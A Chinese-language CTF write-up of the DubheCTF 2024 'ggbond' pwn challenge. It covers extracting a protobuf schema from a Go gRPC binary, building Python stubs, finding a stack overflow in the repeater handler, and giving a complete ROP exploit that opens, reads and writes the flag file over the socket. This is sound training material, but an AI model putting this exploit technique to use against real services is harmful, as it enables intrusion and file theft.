DubheCTF2024 | Pwn进你的心 (ywhkkx.github.io)

2024 DubheCTF pwn wp - Eurus禁止摆烂! (akaieurus.github.io)

xctf-ggbond复现 | StarrySky (starrysky1004.github.io)

分析

提供的附件如下

1
2
3
4
5
6
7
8
9
├── bin
│   ├── ctf.xinetd
│   ├── flag
│   ├── pwn
│   ├── pwn.i64
│   └── start.sh
├── docker-compose.yml
├── Dockerfile
└── pow.py

除了二进制文件以及Dockfile部署文件还有一个pow.py

pow.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

import string
import itertools
import re
from pwn import *
from hashlib import sha256

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
# The container will be destroyed after 20 seconds
# or when the 'p' socket connection is closed.

# The Docker container challenge's internal network cannot
# connect to the external network.
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#

remote_ip = ''
remote_port = 1337

def pow():
p = remote(remote_ip, remote_port)
rev = p.recvuntil(b' == ').decode()
pattern = r'xxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
target_digest = p.recv(64).decode()

characters = string.ascii_letters + string.digits
all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]
for comb in all_combinations:
proof = comb+rev
digest = sha256(proof.encode()).hexdigest()
if target_digest == digest:
result = comb
break
p.send(result)

p.recvuntil(b' nc ')
rev = p.recvline().decode()
pattern = r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s(\d+)'
result = re.search(pattern, rev)
target_ip = result.group(1)
target_port = int(result.group(2))
sleep(3)
return target_ip, target_port

target_ip, target_port=pow()

gpt一下

pow应该是Proof of Work的缩写,PoW 是一种网络协议的机制,用于防止网络滥用,比如防止DDoS攻击和垃圾邮件。在这里,服务器会给客户端一个工作量证明(Proof of Work)的问题,客户端需要解决这个问题才能与服务器建立连接。解决这个问题通常需要一些计算资源和时间,但验证答案很简单。

这段代码的主要作用是通过解决Proof of Work (PoW)来获取远程服务器指定的下一目标IP地址和端口号,其实我们并不需要多做关注

gRPC

文件夹的名字叫做gRPC,搜索一下

RPC (Remote Procedure Call)远程过程调用,允许一台计算机通过网络调用另一台计算机上的程序或函数RPC框架通常负责打包(序列化)请求参数,传输消息,在服务器端解包(反序列化)参数,执行远程过程,并将结果返回给客户端

gRPC是由Google开发的现代开源高性能RPC框架,支持多种编程语言。gRPC默认使用Protocol Buffers(protobuf)作为接口定义语言(IDL)和其底层消息交换格式,提供了一种简洁高效的方式来定义服务和生成客户端和服务器代码

参考

pbtk

前面提到gRPC使用protobuf作为接口语言

于是有一个专门的工具pbtk可以提取Protobuf结构,将其转换回可替代的.proto

可以使用.gui.py图形化操作

也可以直接使用pbtk/extractors/from_binary.py脚本

然后我们可以在分离出的protobuf结构体中找到ggbond.proto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
rpc Handler(Request) returns (Response);
}

message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}

message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}

message WhoamiRequest {

}

message WhoamiResponse {
string message = 2000;
}

message RoleChangeRequest {
uint32 role = 1001;
}

message RoleChangeResponse {
string message = 2001;
}

message RepeaterRequest {
string message = 1002;
}

message RepeaterResponse {
string message = 2002;
}

message ErrorResponse {
string message = 4444;
}

在protobuf中,service 关键字用于定义一个服务,而 rpc 关键字用于定义该服务中的远程过程调用

rpc Handler(Request) returns (Response):这行代码定义了一个名为 Handler 的远程过程调用。它接收一个 Request 类型的参数,并返回一个 Response 类型的响应。

其他数据都有定义

grpc_tools

我们需要与grpc进程进行交互,那么就需要将上一步中分离出来的proto文件编译为可供python引用的形式

首先安装grpc_tools:

pip install grpcio-tools

grpc_tools 是 Google 开发的一组工具,用于帮助开发者使用 gRPC框架。我们这里安装的是对应python版本的

然后执行

1
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ggbond.proto

就会生成ggbond_pb2_grpc.pyggbond_pb2.py

ggbond_pb2_grpc.py

  • ggbond_pb2_grpc.py 包含了根据 .proto 文件生成的 gRPC 客户端和服务器的代码。
  • 这个文件中定义了 gRPC 客户端和服务器的存根(Stub)和服务器(Servicer)类。
  • 客户端使用存根类来发送请求并接收响应,服务器使用服务器类来实现服务方法。
  • 存根和服务器类中的方法是根据 .proto 文件中定义的服务和远程过程调用(RPC)自动生成的。

ggbond_pb2.py

  • ggbond_pb2.py 包含了根据 .proto 文件生成的所有消息类型和相关的数据结构。
  • 这个文件中定义了 .proto 文件中所描述的所有消息类型,以及消息类型之间的关系。
  • 在 gRPC 通信中,客户端和服务器都需要使用这些消息类型来构建请求和响应消息。

来个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import grpc
import ggbond_pb2
import ggbond_pb2_grpc

def main():
# 创建 gRPC 通道
channel = grpc.insecure_channel('localhost:23334')

# 创建 gRPC 客户端存根
stub = ggbond_pb2_grpc.GGBondServerStub(channel)

# 构造请求消息
request = ggbond_pb2.Request(
whoami=ggbond_pb2.WhoamiRequest(), # 选择要发送的请求类型,whoami对象,值来自构造函数
)

# 调用远程过程调用(RPC)
response = stub.Handler(request)

# 处理响应
if response.HasField('whoami'):
print("Received response: ", response.whoami.message)
elif response.HasField('error'):
print("Error occurred: ", response.error.message)

if __name__ == '__main__':
main()

结果:

1
2
> python gRPC_test.py 
Received response: I'm GGBOND

那么整个交互的脚本就可以写出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

import grpc

import ggbond_pb2
import ggbond_pb2_grpc

import base64

def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond

def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond

def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=base64.b64encode(message))))
return respond

channel=grpc.insecure_channel('localhost:23334')

漏洞利用

之后就是恶心的go逆向了

这题还是取出了符号的,不过现在有8.3的ida pro可以使用,直接能够恢复符号

或者没有的话使用AlapaGo插件也行

在一坨代码中找到了

1
google_golang_org_grpc__ptr_Server_RegisterService(v62, &stru_C59860, v65);

看函数名字像是注册服务器

跟进,发现其内部使用了第二个参数比较多,而恰好ida又将其识别成了结构体

跟进看看

ida将其识别成了grpc_ServiceDesc结构体,在ida中可以找到相关定义,这里直接贴源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
type ServiceDesc struct {
ServiceName string
// The pointer to the service interface. Used to check whether the user
// provided implementation satisfies the interface requirements.
HandlerType any
Methods []MethodDesc
Streams []StreamDesc
Metadata any
}

type MethodDesc struct {
MethodName string
Handler methodHandler
}

type StreamDesc struct {
StreamName string
Handler StreamHandler

ServerStreams bool
ClientStreams bool
}

然后我们可以在MethodDesc中找到handler函数

不过这都是复现时才知道的,实际要发现还是要靠一些观察力,或者直接去搜函数名字筛选

找到handler函数在7ED300

在这里(*(void (__golang **)(void *, __int64, __int64, ggbond_Request *))(v21 + 24))(a2, v31, a4, p_ggbond_Request);进行了功能调用

调试跟一下

发现最终是调用0x7ed860,找到,又是一坨

最终发现当role为3时

1
2
3
4
5
6
for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
{
*(_BYTE *)v50 = *v51;
v50 = (__int128 *)((char *)v50 + 1);
++v51;
}

repeater可以往栈上写无限制数据(go题最后果然都是栈溢出)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

import grpc

import ggbond_pb2
import ggbond_pb2_grpc

import base64


def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond

def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond

def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=base64.b64encode(message))))
return respond

p = remote("127.0.0.1", 23334)
channel=grpc.insecure_channel('localhost:23334')
print(role_change(channel,3))
rdi_addr=0x401537
rsi_addr=0x422398
rdx_addr=0x461bd1
rax_addr=0x4101e6
syscall_addr=0x40452C
flag_addr=0x7FAEEC
bss_addr=0xC90000
payload=b'a'*0xc8
payload+=p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(rax_addr)+p64(2)+p64(syscall_addr)
payload+=p64(rdi_addr)+p64(9)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(0)+p64(syscall_addr)
payload+=p64(rdi_addr)+p64(7)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)#7是通过遍历找到的socket fd
payload+=p64(rax_addr)+p64(1)+p64(syscall_addr)
try:
repeater(channel,payload)

except:
print(p.recv(0x1000))

flag字符串是通过自带的字符串截取出来的

由于我们只是跟进程的一个端口23334打交道,所以就算getshell也没办法与其交互,因为shell继承的标准流是进程的

当然如果像binsh这些方法应该是可行的,不过显然有点麻烦

所以通过orw是一个比较好的选择

通过现成的 socket 传输 flag,但这样会导致结构错误从而使 python 没法处理数据,但是我们可以直接抓包获取 flag:

sudo tcpdump -i eth0 -w flag.pcap

除此以外还有另一种方法:

1
2
p = remote("127.0.0.1", 23334)
conn = grpc.insecure_channel('localhost:23334')

这两个虽然是不同的连接,但 p.recv 仍然可以接受 conn 的数据


这类开放端口的服务器题目大多会有这个问题,可以用作参考